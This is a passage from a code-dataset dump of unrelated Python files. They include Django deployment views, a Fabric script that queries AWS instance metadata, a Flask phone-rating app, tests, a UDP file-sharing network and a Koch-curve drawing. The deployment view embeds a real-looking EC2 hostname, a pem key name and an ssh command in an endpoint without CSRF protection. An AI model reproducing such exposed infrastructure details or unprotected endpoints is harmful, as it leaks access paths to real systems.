getApplicationForHTML(val)\n\n\treturn render(request, 'temp/getApp.html',{ \"getAppHTML\" : val })\n\n@csrf_protect\ndef listAppRevisions(request):\n\trevType = \"\"\n\tcommitID = \"\"\n\trepo = \"\"\n\tappName = \"\"\n\tif(request.method == \"POST\"):\n\t\tappName = request.POST[\"appName\"]\n\t\n\t\trevType, commitID, repo = listAppRevisionsForHTML(appName)\n\n\treturn render(request, 'temp/listAppRev.html',{ \"revTypeHTML\" : revType , \n\t\t\t\t\t\t\t\t\t\t\t\t\t \"commitIDHTML\" : commitID, \n\t\t\t\t\t\t\t\t\t\t\t\t\t \"repoHTML\" : repo })\n\n\n@csrf_protect\ndef listDepGroups(request):\n\tval = \"\"\n\n\tif(request.method == \"POST\"):\n\t\tval = request.POST[\"appName\"]\n\t\n\t\tval = listDeploymentGroupsForHTML(val)\n\n\treturn render(request, 'temp/listDepGroup.html',{ \"listDepGroupsHTML\" : val })\n\n\n\n@csrf_protect\ndef createDep(request):\n\tapps = \"\"\n\n\tif(request.method == \"POST\"):\n\t\tget_text = request.POST[\"appName\"]\n\t\tget_text2 = request.POST[\"depGroupName\"]\n\t\tget_text3 = request.POST[\"githubRepo\"]\n\t\tget_text4 = request.POST[\"commitID\"]\n\n\t\tapps = createDeploymentForHTML(get_text,get_text2,get_text3,get_text4)\n\n\treturn render(request, 'temp/createDep.html',{ \"depHTML\" : apps })\n\n\n@csrf_protect\ndef createDepGroup(request):\n\tapps = \"\"\n\n\tif(request.method == \"POST\"):\n\t\tappName = request.POST[\"appName\"]\n\t\tdepGroupName = request.POST[\"depGroupName\"]\n\n\t\tapps = createDeploymentGroupForHTML(appName,depGroupName)\n\n\treturn render(request, 'temp/createDepGroup.html',{ \"depGroupHTML\" : apps })\n\n\n@csrf_exempt\ndef request(req):\n\tresponse = \"\"\n\tstatus = \"\"\n\tif(req.method == \"POST\"):\n\t\tprint(req.POST)\n\t\tproperties = req.POST['properties']\n\t\tprint(properties)\n\t\tmethod = properties['method']\n\t\tif (method == \"create_job\"):\n\t\t\tappName = properties['project_name']\n\t\t\tusername = properties['github_login']\n\t\t\tout,status = createApplicationForHTML(appName)\n\t\t\tcreateDeploymentGroupForHTML(appName,username)\n\t\t\tresponse = JsonResponse({'description' : out, 'properties' : {'status' : status,'method' : method}})\n\t\t\treturn response\n\t\telif(method == \"create_dep\"):\n\t\t\tappName = properties['project_name']\n\t\t\tcommitID = properties['commit_id']\n\t\t\tdepGroupName = listDeploymentGroups(appName)['deploymentGroups']\n\t\t\tusername = depGroupName\n\t\t\trepo = username + \"/\" + appName\n\t\t\tout,status = createDeploymentForHTML(appName,depGroupName,repo,commitID)\n\t\t\tresponse = JsonResponse({'description' : out,'properties':{'method' : method, \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'app_info' : {'app_name' : appName,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'app_path' : '/home/ec2-user/apps/' + appName} ,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'machine_info' : {'public_ip' : PUBLIC_IP,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'pem_file' : pemFile,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'usage' : 'chmod 400 imarkett.pem && ssh -i \"imarkett.pem\" ec2-user@ec2-52-39-172-96.us-west-2.compute.amazonaws.com'\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t }}})\n\t\t\tprint(response.content)\n\t\t\treturn response","sub_path":"DeploySite/DeployApp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3756,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"217415659","text":"import django\n\nif django.get_version() >= \"1.5\":\n from django.contrib.auth.models import AbstractBaseUser\n from django.db import models\n\n\n class CustomUser(AbstractBaseUser):\n email = models.EmailField(\n max_length=255,\n unique=True,\n db_index=True,\n )\n USERNAME_FIELD = 'email'\n","sub_path":"django_webtest_tests/testapp_tests/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":342,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"336846847","text":"from fabric.api import run, env, execute, settings, hide\nfrom argparse import ArgumentParser\n\nparser = ArgumentParser(description=\"Retrieve instance metadata.\")\nparser.add_argument('--hosts', required=True, nargs='+', help=\"List of host IPs\")\nparser.add_argument('--privateKey', required=True, help=\"Private key of hosts\")\nparser.add_argument('--user', required=True, help=\"Host user\")\nparser.add_argument('--metadata', required=False, nargs='+', help=\"Metadata keys to be retrieved\")\nargs = parser.parse_args()\n\nenv.hosts = args.hosts\nenv.connection_attempts = 5\nenv.disable_keown_hosts = True\nenv.key_filename = args.privateKey\nenv.user = args.user\nmetadata_keys = args.metadata\nif metadata_keys is None:\n metadata_keys = []\n\n\ndef run_command():\n with settings(\n hide('warnings', 'running', 'stdout', 'stderr', 'status', 'aborts', 'user'),\n ):\n output = \"\"\n for key_ in metadata_keys:\n curl_cmd = \"curl http://169.254.169.254/latest/meta-data/\" + key_\n output = output + key_ + \": \" + run(curl_cmd).stdout + '\\n'\n if output == \"\":\n output = output + run(\"curl http://169.254.169.254/latest/meta-data/\").stdout\n return output\n\n\noutput = execute(run_command)\n\nfor ip in env.hosts:\n print(\"Metadata for {} \\n{}\".format(ip, output[ip]))","sub_path":"KPMG/challenge2/retrieveInstanceMetadata.py","file_name":"retrieveInstanceMetadata.py","file_ext":"py","file_size_in_byte":1314,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"226829020","text":"k = int(input(\"Numero de aprox: \t\"))\nap = 0 #Valor inicial da serie\nif(k > 0): #Se o numero inserido for diferente de 0, comeca a serie\n\tap = 3.0 #Valor inicial, quando k = 1\n\ty = 0.0 #Valor dos calculos fracionarios\n\tcont = 1 #inicia em 1, pois ja eh atribuido o valor de ap = 3.0\n\twhile(cont<k): #para valores k >= 2, utiliza para calculo da serie\n\t\tden = (cont*2) * (cont*2 + 1) * (cont*2 + 2) #Valor dos denominadores\n\t\tif(cont % 2 == 0): #A cada duas entradas no while troca o sinal do denominador\n\t\t\tden = den * (-1)\n\t\ty = y + 4/den # Soma dos valores fracionarios\n\t\tcont = cont + 1 #Incrementa de 1\n\tap = ap + y #Soma os valores fracionarios com o primeiro termo\nprint (round(ap,8))","sub_path":"exs/1330-1139.py","file_name":"1330-1139.py","file_ext":"py","file_size_in_byte":689,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"535950445","text":"from flask import *\nimport mlab\nfrom models.phone import Phone\nfrom models.evaluate import Evaluate\nfrom models.average import Average\nfrom models.forms import ProductSearchForm\nfrom models.brand import Brand\n\nmlab.connect()\napp = Flask(__name__)\n\ndef brandname():\n phone = Phone.objects()\n brand_name_list = []\n brand_name =\"\"\n for item in phone:\n if brand_name != item.phone_brand_name:\n brand_name = item.phone_brand_name\n brand_name_list.append(brand_name)\n return(brand_name_list)\n\n@app.route('/', methods=[\"GET\", \"POST\"])\ndef index():\n if request.method == \"GET\":\n # phone_list = Phone.objects()\n SP_ordered = Average.objects().order_by(\"-averagePoint\")\n top4 = []\n brand_name_list = brandname()\n for i in SP_ordered[0:4]:\n phone_dict = {}\n phone_dict[\"phone\"] = Phone.objects.get(id=i.phone.id)\n phone_dict[\"averagePoint\"] = round(i.averagePoint, 1)\n top4.append(phone_dict)\n return render_template('index.html', top4=top4,brand_name_list = brand_name_list)\n\n elif request.method == \"POST\":\n\n\n return redirect(\"/result\")\n\n@app.route('/compare', methods = [\"GET\", \"POST\"])\ndef compare():\n if request.method == \"GET\":\n\n return render_template('compare.html')\n elif request.method == \"POST\":\n return redirect(\"/result\")\n\n@app.route('/result', methods=[\"GET\", \"POST\"])\ndef result():\n if request.method == \"GET\":\n SP_ordered = Phone.objects()\n phone_li1 = SP_ordered[0:3]\n phone_li2 = SP_ordered[4:7]\n print(phone_li1[0].product_name)\n print(phone_li2[0].product_name)\n return render_template('result.html', phone_li1=phone_li1, phone_li2=phone_li2)\n elif request.method == \"POST\":\n form = request.form\n name = form[\"name\"]\n return \"a\"\n\n@app.route('/hang-dien-thoai')\ndef cac_hang_dien_thoai():\n brand = Brand.objects()\n brand_name_list = brandname()\n return render_template('hang-dien-thoai.html', brand_name_list = brand_name_list, brand = brand)\n\n@app.route('/hang-dien-thoai/<brand_name>')\ndef chi_tiet_hang_dien_thoai(brand_name):\n brand_name_list = brandname()\n phone = Phone.objects()\n phone_list = []\n phone_data = []\n for item in phone:\n if item.phone_brand_name == brand_name:\n phone_data.append(item)\n return render_template('dien-thoai-cua-hang.html',phone = phone_data, brand_name = brand_name, brand_name_list = brand_name_list)\n\n@app.route('/danhgiasanpham/<proid>',methods = ['GET','POST'])\ndef evaluate(proid):\n brand_name_list = brandname()\n if request.method == 'GET':\n phone = Phone.objects.with_id(proid)\n for evaluated in Average.objects():\n if evaluated.phone.id == phone.id:\n n = round(evaluated['averagePoint'])\n R = round((255 * (5 - n)) / 5)\n G = round((255 * n) / 5)\n B = 0\n return render_template('Detail/product_detail.html',product = phone,red = R, green = G, blue = B, score = n, brand_name_list = brand_name_list)\n elif request.method == 'POST':\n designlist = []\n screenlist = []\n funclist = []\n explist = []\n camlist = []\n pinlist = []\n\n form = request.form\n phone = Phone.objects.get(id = proid)\n design = int(form['design'])\n print(design)\n screen = int(form['screen'])\n func = int(form['func'])\n exp = int(form['exp'])\n cam = int(form['cam'])\n pin = int(form['pin'])\n\n new_eva = Evaluate(phone = phone,\n design = design,\n screen = screen,\n func = func,\n exp = exp,\n cam = cam,\n pin = pin)\n\n\n new_eva.save()\n\n totalEva = Evaluate.objects(phone = phone)\n new_averagePoint = Average.objects.get(phone = phone)\n\n for object in totalEva:\n designlist.append(object['design'])\n screenlist.append(object['screen'])\n funclist.append(object['func'])\n explist.append(object['exp'])\n camlist.append(object['cam'])\n pinlist.append(object['pin'])\n\n\n designsum = sum(designlist)\n avgdesign = designsum / len(designlist)\n screensum = sum(screenlist)\n avgscreen = screensum/ len(designlist)\n funcsum = sum(funclist)\n avgfunc = funcsum / len(designlist)\n expsum = sum(explist)\n avgexp = expsum / len(designlist)\n camsum = sum(camlist)\n avgcam = camsum / len(designlist)\n pinsum = sum(pinlist)\n avgpin = pinsum / len(designlist)\n\n total = avgdesign + avgscreen + avgfunc + avgexp + avgcam + avgpin\n\n average = total / 6\n\n new_averagePoint.update(set__averagePoint = average)\n\n n = round(average)\n R = round((255 * (5 - n)) / 5)\n G = round((255 * n) / 5)\n B = 0\n\n return render_template(\"Detail/product_detail.html\", score = \"{0:.1f}\".format(average), product = phone,red = R, green = G, blue = B,brand_name_list = brand_name_list)\n\nif __name__ == '__main__':\n app.run(debug=True)\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5289,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"535384776","text":"import json\nimport datetime\n\nfrom django.test import TestCase, Client\nfrom unittest.mock import MagicMock, patch\n\nfrom arts.tests import CustomTestCase\n\nfrom artists.models import Artist\nfrom users.models import User\nfrom arts.models import Theme, Media, Art, ArtTheme, Paper, Material, ArtImage, ArtStatus\nfrom .models import Location, Auction, AuctionArt, Bidding\n\nfrom my_settings import KAKAO_TEST_TOKEN\n\nclient = Client()\n\nclass AuctionTest(CustomTestCase):\n @classmethod\n def setUpTestData(cls):\n cls.make_artist_model_instances(cls)\n cls.make_art_model_instances(cls)\n\n Location.objects.create(\n id = 1,\n name = '장소',\n address = '주소',\n phone_number = '111-111-111',\n site_url = None,\n operating_hour = '시간',\n latitude_x = 127.0183737710409986,\n longitude_y = 37.5128690375928002\n )\n Auction.objects.create(\n id = 1,\n start_date = datetime.datetime(2021,5,5),\n end_date = datetime.datetime(2021,5,6),\n location_id = 1\n )\n AuctionArt.objects.create(\n id = 1,\n art_id = 1,\n auction_id = 1\n )\n\n def test_auctions_getby_date_success(self):\n self.maxDiff = None\n response = client.get('/auctions?date=2021-5-6')\n\n self.assertEqual(response.json(),\n {\n 'auctions' : [\n {\n 'id' : 1,\n 'location' : '장소',\n 'address' : '주소',\n 'phone_number' : '111-111-111',\n 'site_url' : None,\n 'start_at' : '2021-05-05 00:00',\n 'end_at' : '2021-05-06 00:00',\n 'x' : '127.0183737710409986',\n 'y' : '37.5128690375928002',\n 'arts' : [\n {\n 'artist' : '1',\n 'artist_image_url' : '1.jpeg',\n 'name' : '작품-1',\n 'thumbnail_url' : '1.jpeg',\n 'price' : '10000.00',\n 'released_year' : 2021\n }\n ]\n }\n ]\n }\n )\n self.assertEqual(response.status_code, 200)\n\n def test_auctions_getby_date_date_none(self):\n response = client.get('/auctions?date=')\n\n self.assertEqual(response.status_code, 400)\n self.assertEqual(response.json()['MESSAGE'], 'INVALID DATE')\n\n def test_auctions_getby_date_value_error(self):\n response = client.get('/auctions?date=2020년3월29일')\n\n self.assertEqual(response.status_code, 400)\n self.assertRaises(ValueError)\n self.assertEqual(response.json()['MESSAGE'], 'VALUE ERROR') \n\nclass BiddingGetTest(CustomTestCase):\n @classmethod\n def setUpTestData(cls):\n cls.make_artist_model_instances(cls)\n cls.make_art_model_instances(cls)\n Bidding.objects.create(id=1, art_id=1, finish_at=datetime.datetime(2021,1,1,1,1))\n \n def test_get_bidding_on_progress_success(self):\n response = client.get('/biddings/in-progress')\n\n self.assertEqual(response.json(),\n {\n \"arts\": [\n {\n \"artist\": \"1\",\n \"finish_at\": \"01-01 01:01\",\n \"id\": 1,\n \"thumbnail_url\": \"1.jpeg\",\n \"title\": \"작품-1\"\n }\n ]\n }\n )\n self.assertEqual(response.status_code, 200)\n\nclass KaKaoMessagePostTest(CustomTestCase):\n @classmethod\n def setUpTestData(cls):\n cls.make_artist_model_instances(cls)\n cls.make_art_model_instances(cls)\n cls.header = {\n 'HTTP_Authorization' : KAKAO_TEST_TOKEN,\n 'content_type' : 'application/json'\n }\n cls.body = {'offered_price' : 10000}\n User.objects.create(email='msb925@naver.com')\n\n @patch('bids.views.requests')\n def test_kakao_message_success(self, mock_requests):\n class MockResponse :\n def json(self) : return {\"result_code\":0}\n\n mock_requests.post = MagicMock(return_value=MockResponse())\n\n response = client.post(\n '/biddings/1',\n json.dumps(self.body),\n **self.header\n )\n\n @patch('bids.views.requests')\n def test_kakao_message_sabotaged_template_fail(self, mock_requests):\n class MockResponse :\n def json(self) : return {\"msg\":\"wrong template\"} \n\n mock_requests.post = MagicMock(return_value=MockResponse()) \n\n response = client.post(\n '/biddings/1',\n json.dumps(self.body),\n **self.header\n )\n\n self.assertEqual(response.status_code, 400)\n\n def test_kakao_message_invalid_art_fail(self):\n response = client.post(\n '/biddings/10990',\n json.dumps(self.body),\n **self.header\n )\n\n self.assertEqual(response.status_code, 404)\n self.assertEqual(response.json(),\n {\n 'MESSAGE' : \"INVALID ART\"\n }\n )\n\n def test_kakao_message_key_error_fail(self):\n self.body = {'price' : 10}\n response = client.post(\n '/biddings/1',\n json.dumps(self.body),\n **self.header\n )\n\n self.assertEqual(response.status_code, 400)\n self.assertEqual(response.json(),\n {\n 'MESSAGE' : \"KEY ERROR\"\n }\n )","sub_path":"bids/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":5982,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"113525909","text":"#!/usr/bin/env python\n# enconding! utf-8\n\n\"\"\"\n@author:zhangmengzgs\n@contact:zhangmengzgs@csc.com.cn\n@file:MainEngine.py\n@time:2017/1/23 14:52\n\"\"\"\nfrom DataFeed import HeartBeatFeed\nimport Strategy\nfrom EventEngine import EventEngine\nfrom DefaultLog import MainLogger\nfrom Execution import SimpleExecutionHandler\nfrom Portfolio import Portfolio\nimport GlobalSetting\nfrom DataPool import MainDataPool\n\n\nclass MainEngine(object):\n def __init__(self):\n self.event_engine = EventEngine()\n self.strategy_list = []\n self.execution = SimpleExecutionHandler(self.event_engine)\n self.portfolio = Portfolio()\n self.datafeed = HeartBeatFeed(GlobalSetting.backtest_start_date,\n GlobalSetting.backtest_end_date,\n GlobalSetting.backtest_delta)\n\n def initialize(self):\n \"\"\"组装引擎\"\"\"\n for s in self.strategy_list:\n s.hook(self.event_engine, self.portfolio)\n MainLogger.info('%s 策略已注册' % s.strategy_name)\n\n self.datafeed.register_engine(self.event_engine)\n self.register_strategy()\n self.register_execution()\n self.register_portfolio()\n self._register_stop(self.stop)\n # self._register_day_end(MainDataPool.on_day_end)\n\n def add_strategy(self, strategy):\n self.strategy_list.append(strategy)\n\n def _register_day_begin(self, func):\n self.event_engine.register('DAY_BEGIN', func)\n\n def _register_day_end(self, func):\n self.event_engine.register('DAY_END', func)\n\n def _register_on_tick(self, func):\n self.event_engine.register('HEARTBEAT_EVENT', func)\n\n def _register_order(self, func):\n self.event_engine.register('ORDER_EVENT', func)\n\n def _register_fill(self, func):\n self.event_engine.register('FILL_EVENT', func)\n\n def _register_stop(self, func):\n self.event_engine.register('STOP_HB_EVENT', func)\n\n def register_portfolio(self):\n self._register_day_begin(self.portfolio.on_day_begin)\n self._register_day_end(self.portfolio.on_day_end)\n self._register_fill(self.portfolio.on_filled_order)\n\n def register_strategy(self):\n for strategy in self.strategy_list:\n self._register_day_begin(strategy.on_day_begin)\n self._register_day_end(strategy.on_day_end)\n self._register_on_tick(strategy.on_tick)\n self._register_on_tick(strategy.send_order)\n self._register_fill(strategy.on_fill_order)\n\n def register_execution(self):\n self._register_order(self.execution.execute_order)\n\n def start(self):\n MainLogger.info('主引擎启动...')\n self.datafeed.start()\n # MainDataPool.start_prefetch()\n self.event_engine.start()\n\n self.event_engine.event_engine_thread.join()\n\n def stop(self, stop_hb_event):\n \"\"\"停止引擎\"\"\"\n # MainDataPool.stop_prefetch()\n self.event_engine.stop()\n self.portfolio.save_portfolio()\n\n\nif __name__ == \"__main__\":\n # strategy = Strategy.HoldStrategy()\n # strategy2 = Strategy.HoldStrategy2()\n hookstrategy = Strategy.HookStrategy()\n pitstrategy = Strategy.PitStrategy()\n mountstrategy = Strategy.MountStrategy()\n nikestrategy = Strategy.NikeStrategy()\n me = MainEngine()\n # me.add_strategy(pitstrategy)\n # me.add_strategy(mountstrategy)\n # me.add_strategy(hookstrategy)\n me.add_strategy(nikestrategy)\n # me.add_strategy(strategy2)\n me.initialize()\n me.start()\n\n","sub_path":"MainEngine.py","file_name":"MainEngine.py","file_ext":"py","file_size_in_byte":3549,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"446302614","text":"import random\nimport socket\nimport re\nimport time\nimport threading\nimport collections\nimport data\nimport os\n\nclass Network:\n def __init__(self):\n self.computer_identifier = \"\" # Идентификатор компьютера\n self.connected_computers = set() # Список подключённых к данному серверу устройств\n self.ask_client_need = dict() # Словарь нужен ли компьютер\n self.servers = set() # Список всех серверов\n self.connect_server = None # IP-адрес сервера к которому подключенно устройство\n self.server_port = 5644 # Порт к которому подключенно устройство\n self.download_data = dict()\n\n def set_computer_identifier(self, computer_identifier):\n self.computer_identifier = computer_identifier\n\n def set_servers(self, servers):\n self.servers = servers\n self.connect_server = servers.pop()\n servers.add(self.connect_server)\n\n def generate_computer_identifier(self):\n computer_identifier = \"\"\n for i in range(20):\n a = random.randint(0, 35)\n if a <= 9:\n computer_identifier += str(a)\n else:\n computer_identifier += chr(a+87)\n return computer_identifier\n\n def server(self):\n\n sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n\n self.threads = dict()\n\n port = 5644\n all_ports = dict()\n all_ports[\"main\"] = 5644\n sock.bind((\"localhost\", port))\n\n while True:\n\n request = b\"\"\n\n request, addr = sock.recvfrom(4096)\n\n package = Package()\n package.parser(request.decode(\"cp437\"))\n\n computer_identifier = package.data[\"computer_identifier\"]\n\n if package.data[\"type\"] == \"ask\":\n if not computer_identifier in self.connected_computers:\n self.connected_computers.add(computer_identifier)\n self.ask_client_need[computer_identifier] = collections.deque()\n if len(self.ask_client_need[computer_identifier]):\n package = Package(type=\"ask\", port=self.ask_client_need[computer_identifier].popleft())\n else:\n package = Package(type=\"ask\", port=\"None\")\n else:\n #print(package.data)\n new_port = max(all_ports.values()) + 1\n all_ports[package.data[\"computer_identifier\"]] = new_port\n\n self.threads[package.data[\"computer_identifier\"]] = threading.Thread(target=self.thread, args=(new_port,))\n self.threads[package.data[\"computer_identifier\"]].start()\n\n package = Package(new_port=str(new_port))\n\n sock.sendto(package.to_string().encode(\"cp437\"), addr)\n\n def thread(self, port):\n sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n sock.bind((\"localhost\", port))\n data_to = dict() # Словарь для сохранения пакета перед пересылкой\n while True:\n try:\n request, addr = sock.recvfrom(4096)\n\n accept_package = Package()\n accept_package.parser(request.decode(\"cp437\"))\n\n if accept_package.data[\"type\"] == \"get-connected-device\":\n package = Package(connected_device=self.connected_computers)\n elif accept_package.data[\"type\"] == \"ask\":\n package = data_to[accept_package.data[\"computer_identifier\"]].popleft()\n else:\n #print(accept_package.to_string())\n if not accept_package.data[\"to\"] in self.ask_client_need.keys():\n self.ask_client_need[accept_package.data[\"to\"]] = collections.deque()\n self.ask_client_need[accept_package.data[\"to\"]].append(port)\n\n if not accept_package.data[\"to\"] in data_to.keys():\n data_to[accept_package.data[\"to\"]] = collections.deque()\n data_to[accept_package.data[\"to\"]].append(accept_package)\n\n package = Package(type=\"answer\", situation=\"OK\")\n\n #print(package.to_string())\n #print(package.data)\n sock.sendto(package.to_string().encode(\"cp437\"), addr)\n except:\n pass\n\n def client(self, **kwargs): # Основная функция для клиента\n if kwargs[\"type\"] == \"first_connection\":\n self.first_connection()\n elif kwargs[\"type\"] == \"upload\":\n self.client_upload(kwargs)\n elif kwargs[\"type\"] == \"download\":\n self.client_download(kwargs)\n elif kwargs[\"type\"] == \"get-connected-device\":\n self.client_get_connected_device(kwargs)\n\n def first_connection(self): # Действия клиента на случай первого подключения устройства\n sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n\n package = Package(type=\"first_connection\", computer_identifier=self.computer_identifier)\n\n sock.sendto(package.to_string().encode(\"cp437\"), (self.connect_server, self.server_port))\n\n request, addr = sock.recvfrom(4096)\n\n accept_package = Package()\n accept_package.parser(request.decode(\"cp437\"))\n\n # Задание порта, который открыл сервер для данного клиента\n self.server_port = int(accept_package.data[\"new_port\"])\n\n sock.close()\n\n def client_upload(self, kwargs): # Программа для отправки клиентом upload запроса\n sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n\n package = Package(type=\"upload\",\n computer_identifier=self.computer_identifier,\n file_identifier=kwargs[\"file_identifier\"],\n content=kwargs[\"content\"],\n number=kwargs[\"number\"],\n to=kwargs[\"to\"])\n\n sock.sendto(package.to_string().encode(\"cp437\"), (self.connect_server, self.server_port))\n\n request, addr = sock.recvfrom(4096)\n\n accept_package = Package()\n accept_package.parser(request.decode(\"cp437\"))\n\n #print(accept_package.to_string())\n\n sock.close()\n\n def client_download(self, kwargs):\n sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n\n package = Package(type=\"download\",\n computer_identifier=self.computer_identifier,\n file_identifier=kwargs[\"file_identifier\"],\n to=kwargs[\"to\"])\n\n sock.sendto(package.to_string().encode(\"cp437\"), (self.connect_server, self.server_port))\n\n request, addr = sock.recvfrom(4096)\n\n accept_package = Package()\n accept_package.parser(request.decode(\"cp437\"))\n\n sock.close()\n\n def client_get_connected_device(self, kwargs):\n sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n\n package = Package(type=\"get-connected-device\", computer_identifier=self.computer_identifier)\n\n sock.sendto(package.to_string().encode(\"cp437\"), (self.connect_server, self.server_port))\n\n request, addr = sock.recvfrom(4096)\n\n accept_package = Package()\n accept_package.parser(request.decode(\"cp437\"))\n\n self.connected_computers = set(accept_package.data[\"connected_device\"][2:-2].split(\"', '\"))\n\n sock.close()\n\n\n def storage(self):\n \"\"\"\n Данная функция предназначена для сохранения данных другого пользователя и передача их ему\n Функция посылает ask-запрос и получает в ответ порт на котором ждут его\n \"\"\"\n accept_files = dict()\n flag = True\n while True:\n sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n\n package = Package(type=\"ask\", computer_identifier=self.computer_identifier)\n\n sock.sendto(package.to_string().encode(\"cp437\"), (self.connect_server, 5644))\n\n request, addr = sock.recvfrom(4096)\n\n accept_package = Package()\n accept_package.parser(request.decode(\"cp437\"))\n\n if accept_package.data[\"port\"] != \"None\":\n\n package = Package(type=\"ask\", computer_identifier=self.computer_identifier)\n sock.sendto(package.to_string().encode(\"cp437\"), (self.connect_server, int(accept_package.data[\"port\"])))\n\n request, addr = sock.recvfrom(4096)\n\n accept_package = Package()\n accept_package.parser(request.decode(\"cp437\"))\n\n if accept_package.data[\"type\"] == \"upload\":\n block = data.Block(accept_package.data[\"number\"], accept_package.data[\"file_identifier\"])\n block.set_content(accept_package.data[\"content\"].encode(\"cp437\"))\n\n block.save()\n\n elif accept_package.data[\"type\"] == \"download\":\n\n for i in os.listdir(\"saveblocks/blocks\"):\n if accept_package.data[\"file_identifier\"] == i[:40]:\n block = open(\"saveblocks/blocks/\" + i, \"rb\")\n package = Package(type=\"block\",\n to=accept_package.data[\"computer_identifier\"],\n computer_identifier=accept_package.data[\"to\"],\n file_identifier=accept_package.data[\"file_identifier\"],\n content=block.read().decode(\"cp437\"),\n number=i[40:])\n sock.sendto(package.to_string().encode(\"cp437\"), addr)\n\n elif accept_package.data[\"type\"] == \"block\":\n if not accept_package.data[\"file_identifier\"] in accept_files:\n accept_files[accept_package.data[\"file_identifier\"]] = data.File(file_identifier=accept_package.data[\"file_identifier\"],\n file_name=\"lo\")\n self.download_data[accept_package.data[\"file_identifier\"]] = 0\n\n accept_files[accept_package.data[\"file_identifier\"]].add_block(content=accept_package.data[\"content\"].encode(\"cp437\"),\n number=int(accept_package.data[\"number\"]))\n self.download_data[accept_package.data[\"file_identifier\"]] = \\\n len(accept_files[accept_package.data[\"file_identifier\"]].list_blocks) / \\\n accept_files[accept_package.data[\"file_identifier\"]].zero_block.count_of_blocks * 100\n\n #print(len(accept_files[accept_package.data[\"file_identifier\"]].list_blocks))\n\n if len(accept_files[accept_package.data[\"file_identifier\"]].list_blocks) == accept_files[accept_package.data[\"file_identifier\"]].zero_block.count_of_blocks:\n accept_files[accept_package.data[\"file_identifier\"]].build()\n del accept_files[accept_package.data[\"file_identifier\"]]\n\n flag = False\n else:\n flag = True\n if flag:\n time.sleep(10)\n sock.close()\n\n\nclass Package:\n \"\"\"\n Пакет выклядит следующим образом:\n\n BEGIN - Начало\n TYPE:{DOWNLOAD, DOWNLOAD_ANSWER, GET, GET_ANSWER, DELETE, CHECK, CHECK_ANSWER}; - Тип запроса\n\n # Для GET, DOWNLOAD, DELETE\n FILE_IDENTIFIER:identifier; - Идентификатор файла, для анонимного хранения файла\n\n # Для DOWNLOAD\n CONTENT:{Content}; - Содержимое файла\n\n\n END - Конец\n \"\"\"\n def __init__(self, **kwargs):\n self.data = kwargs\n\n def parser(self, string_package):\n command = \"\"\n information = \"\"\n string = \"\"\n start = False\n finish = False\n is_data_start = False\n for i in string_package:\n string += i\n if bytearray(string[-7:], \"cp437\") == bytearray([0, 1, 0, 1, 1, 0, 1]) and not start:\n start = True\n string = \"\"\n elif bytearray(string[-7:], \"cp437\") == bytearray([0, 1, 0, 1, 1, 0, 1]) and start:\n finish = True\n\n elif start and not is_data_start and string[-1] == \"{\":\n is_data_start = True\n command = string[:-1]\n string = \"\"\n elif finish:\n information = string[:-10]\n\n self.data[command.lower()] = information\n\n command = \"\"\n information = \"\"\n string = \"\"\n start = False\n finish = False\n is_data_start = False\n\n def to_string(self):\n string = \"BEGIN\\n\"\n for key, value in self.data.items():\n string += bytearray([0, 1, 0, 1, 1, 0, 1]).decode(\"cp437\") + str(key).upper() + \"{\" + str(value) + \"};\" + bytearray([0, 1, 0, 1, 1, 0, 1]).decode(\"cp437\") + \"\\n\"\n string += \"END\"\n return string","sub_path":"network.py","file_name":"network.py","file_ext":"py","file_size_in_byte":13621,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"590064382","text":"#! /usr/bin/python\n#\n# Chapter 5 Exercise 4\n# The Koch curve is a fractal that looks something like Figure 5.2. To draw a\n# Koch curve with length x, all you have to do is\n# Draw a Koch curve with length x/3.\n# Turn left 60 degrees.\n# Draw a Koch curve with length x/3.\n# Turn right 120 degrees.\n# Draw a Koch curve with length x/3.\n# Turn left 60 degrees.\n# Draw a Koch curve with length x/3.\n# The exception is if x is less than 3: in that case, you can just draw a\n# straight line with length x.\n# Write a function called koch that takes a turtle and a length as parameters,\n# and that uses the turtle to draw a Koch curve with the given length.\n# Write a function called snowflake that draws three Koch curves to make the\n# outline of a snowflake.\n\nfrom TurtleWorld import *\n\nworld = TurtleWorld()\nbob = Turtle()\nbob.delay = 0 # make the turtle move faster\n\ndef koch ( t, length ) :\n \"\"\"This function draws a koch curve\"\"\"\n if length > 3 :\n l_o_3 = length / 3.0\n koch (t, l_o_3 )\n lt(t, 60 )\n koch (t, l_o_3 )\n rt(t, 120)\n koch ( t, l_o_3 )\n lt(t, 60)\n koch ( t, l_o_3 )\n else :\n fd( t, length )\n\ndef snowflake ( t, length ) :\n t.set_pen_color('green')\n for i in range(3) :\n koch ( t, length )\n rt (t, 120 )\n \npu(bob)\nbk ( bob, 200 )\npd(bob)\nkoch ( bob, 81 